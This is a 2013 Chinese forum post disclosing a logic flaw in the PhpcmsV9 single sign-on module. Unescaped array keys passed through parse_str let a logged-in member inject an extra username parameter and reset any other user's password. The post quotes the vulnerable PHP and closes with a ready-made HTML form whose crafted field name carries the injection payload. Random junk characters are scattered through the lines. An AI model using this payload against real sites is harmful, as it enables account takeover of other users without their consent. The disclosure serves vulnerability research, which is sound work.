找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1912|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:( H1 ~2 m" B. L$ U, Y) f; z
; Q1 G* E/ f3 _: _: t5 z4 x
0 a7 s' t( L0 S& H& F" M! N/ M  o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);# J, @7 V/ r/ p9 }- w
  ~" X4 R- g0 @
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
1 `3 M4 \" v+ J, J9 j6 i& t/ M' q) n; D3 r3 i
我把它留给了你们。7 r, l  |4 K, R5 D- f
不知道你们发现了它没有。
  P. @: U7 j) T! h+ ~/ ~1 P, V$ M" X' n$ C, n
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
! }# L; N, {5 a
7 C: @1 e2 c- F  x9 d4 T: _* h所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。  |" U# m! y- g( [& G2 }! ^
5 K! e) Q, q& J
也就是. A1 ~7 L0 f% f9 y8 }/ {5 h

* I( j4 ~* V. yusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
+ u9 I8 d/ K6 F- U" s1 E7 t- ]+ o3 _# v
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。$ F  T8 _$ p8 x! b4 V7 a1 h! n  O
3 K, H" B% ^5 N9 s! a

' v/ n9 ~0 t5 Z( j% B( G: B其实我们有这样的机会,看看代码,如下:# R1 S6 O+ ~$ J& E
) `. n2 u1 X0 k, i  _$ A
! A. B$ ~1 L% ]7 U1 |
public function auth_data($data) {
7 f# L$ ~7 c/ T' E: x                $s = $sep = '';
7 ~6 L! C7 c9 a/ A+ k8 X* D                foreach($data as $k => $v) {$ i. J4 Y' |+ g  f
                        if(is_array($v)) {& \5 L( \$ k. a8 a
                                $s2 = $sep2 = '';- B9 P* H9 s% n; a
                                foreach($v as $k2 => $v2) {
0 U; C. t5 _6 d/ c$ Z6 B                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);' n' t7 Y: {3 z4 B1 G
                                        $sep2 = '&';
& L* r  Q. A; l                                }
7 g: S* J. o1 V! }4 b# O                                $s .= $sep.$s2;
1 f3 |8 G4 W: P, x" [8 m1 F                        } else {
, K; h$ m9 \9 @3 ~( f                                $s .= "$sep$k=".$this->_ps_stripslashes($v);6 `$ {/ |5 k" }6 s/ A
                        }; ]; a1 X8 M7 ^6 N" Z+ h
                        $sep = '&';
8 j) R) H7 I' u5 w( |- X& T                }
8 {5 x7 X7 f$ ^1 I* f/ O8 l$ T  i' O% F5 X% |: K
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));% u9 K6 `, H, u9 p) F9 w
                return $auth_s;! |' W2 [2 U+ t# P) ]
        }$ ]" |" a3 Y" l# D6 N) V

0 F# W) J" ~) M# d* w可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
1 ]+ i* _1 G0 a# T! N* ?/ |  J2 ]2 y' m; `, u9 U. T6 P4 d
举个例子# Z0 t+ z+ M5 @6 g3 z

( t" T. r7 [+ \" u% \% ^" p$ x$a[aaa=a&bbb] = 'a';# S$ V- n$ h" a$ ^, m

6 u7 @5 N8 f. c! i! ~$ J. i! K会变成aaa=a&bbb=a1 B8 n( W) n+ q  [2 I! ~6 [
# M9 G3 e- f) k9 ~
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。/ P) i/ P9 V$ k( n9 E

' H7 m  Y# o8 p1 i: K这个时候,我们可以再去看一个函数。! O/ x1 r  X# r. G9 U! A1 l

0 g; `# o. G/ Q; E* Z就在这个文件内:
4 c5 z4 L7 }$ {* j
6 E: A' a$ p" f0 s5 h2 T8 o5 X1 R! w8 ^2 d4 }' p/ C% B
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
. @1 D# F+ C/ Z+ Q. `& B: {                if($email && !$this->_is_email($email)) {
8 N  O  d0 l, p( X5 S7 q% T                        return -4;
: F* ~( _+ H- U# U                }
9 y* P! U8 R# S                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
, d) n; A$ a4 n3 i! f. H8 g; _        }( q7 B4 {: D+ T5 X: W8 {

% O) m' }9 \; _这是向通行证发了这样一个请求。
4 v6 f* N! Z+ k; c9 ]5 g0 N' E8 T2 z0 y, U( ]# t4 K4 U6 M
我们再跟到通信证代码里去看看,就会有所发现。
  I1 C7 ]% I& [# [9 c- w6 v1 V6 i
4 r' `' |* ^! Z, o7 g* p8 p0 t$ ^* M
public function edit() {4 E- B; J! t& Y( |" [: S: }8 T
//能省就省,太长了不是吗?
. H3 a/ O0 p6 d9 @' x: w' f- \0 f/ T* k5 V
if($this->username) {$ @/ M+ |# f- g' S2 q& R; I
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。6 p9 m5 ?- A9 C% p# s9 m) e, ~
                                $res = $this->db->update($data, array('username'=>$this->username));
" f# u; M% R5 r) ?$ h, L                        } else {
: I6 G- X! P" L; O                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
  B( M+ l' A, f( v1 Z* @0 m3 }                                $res = $this->db->update($data, array('uid'=>$this->uid));/ l0 x/ H# b, o- N: V* V. ?, ^
                        }- g3 V  J& J# _+ B& d' @8 S1 b: X
- D. v# P5 `8 S* M' Z5 k) f
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
' s9 W* H; g/ L7 ~' W
; x3 ]/ k' g  ^" a( R5 q7 lpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
( s/ r# w* o3 u+ G* b( ^! K# M7 i
$ Q  y# N" q; M6 Z很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。7 D  y: a+ ^" r
5 E4 e# }; u' L/ x8 [6 u# ]1 D
我当然找到了:
* X! j7 ^9 l0 @' I" o5 gphpcms9/phpcms/modules/member/index.php
3 ~5 c3 b7 U' S3 u! Y
# r( ]) _& A& I, H( X* Q$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
- t- I9 ~/ W" p2 i5 I: b
5 f* i$ Z' e8 z" ^然后就没有然后了。8 u8 c* y" X3 m% }" y3 a# p4 A

" b* B9 Q, u; Q$ q# P9 @" W<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- n/ `1 m( E! s/ P: b2 B  F                                <table width="100%" cellspacing="0" class="table_form">
2 z3 p- z" e/ V0 P                                        <tr>% R8 G2 k# `5 t% X' j  w3 {; l
                                                <th width="80">邮箱:</th>        
1 Q7 s( G7 O% Q, {                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>9 Z6 s4 y3 I: C% s( j; L
                                        </tr>3 S! T' b6 m5 F) Z) ]! W+ v- Q4 g5 R
                                        <tr>
! ~3 z' y6 `; p2 i& s& i! w% w                                                <th width="80">原密码:</th>        - N- Q8 l# \. S7 i6 A1 M$ ]
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' Z- o- t: b+ H                                        </tr>1 r0 C2 {& [) N
                                        <tr>/ r  {( o) G. `
                                                <th>新密码:</th>% y* n0 p0 S. N7 q/ Y+ K# W
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" ~+ l6 d" ?! w( ]                                        </tr>+ |; D7 K1 ~* t5 @5 n+ j9 \
                                        <th></th>5 B# H" Q9 {% p
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>/ C2 {/ n3 q3 q  R; n
                                        </tr>
3 X& {& E' t2 T& ?                                </table>
$ c( z3 a3 w0 Z2 v! @) c' a# A" a7 _, Q3 I
                               
1 I6 n& v- i1 l8 f  h                        </form>
, a& _2 s  E; s7 W& f- x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表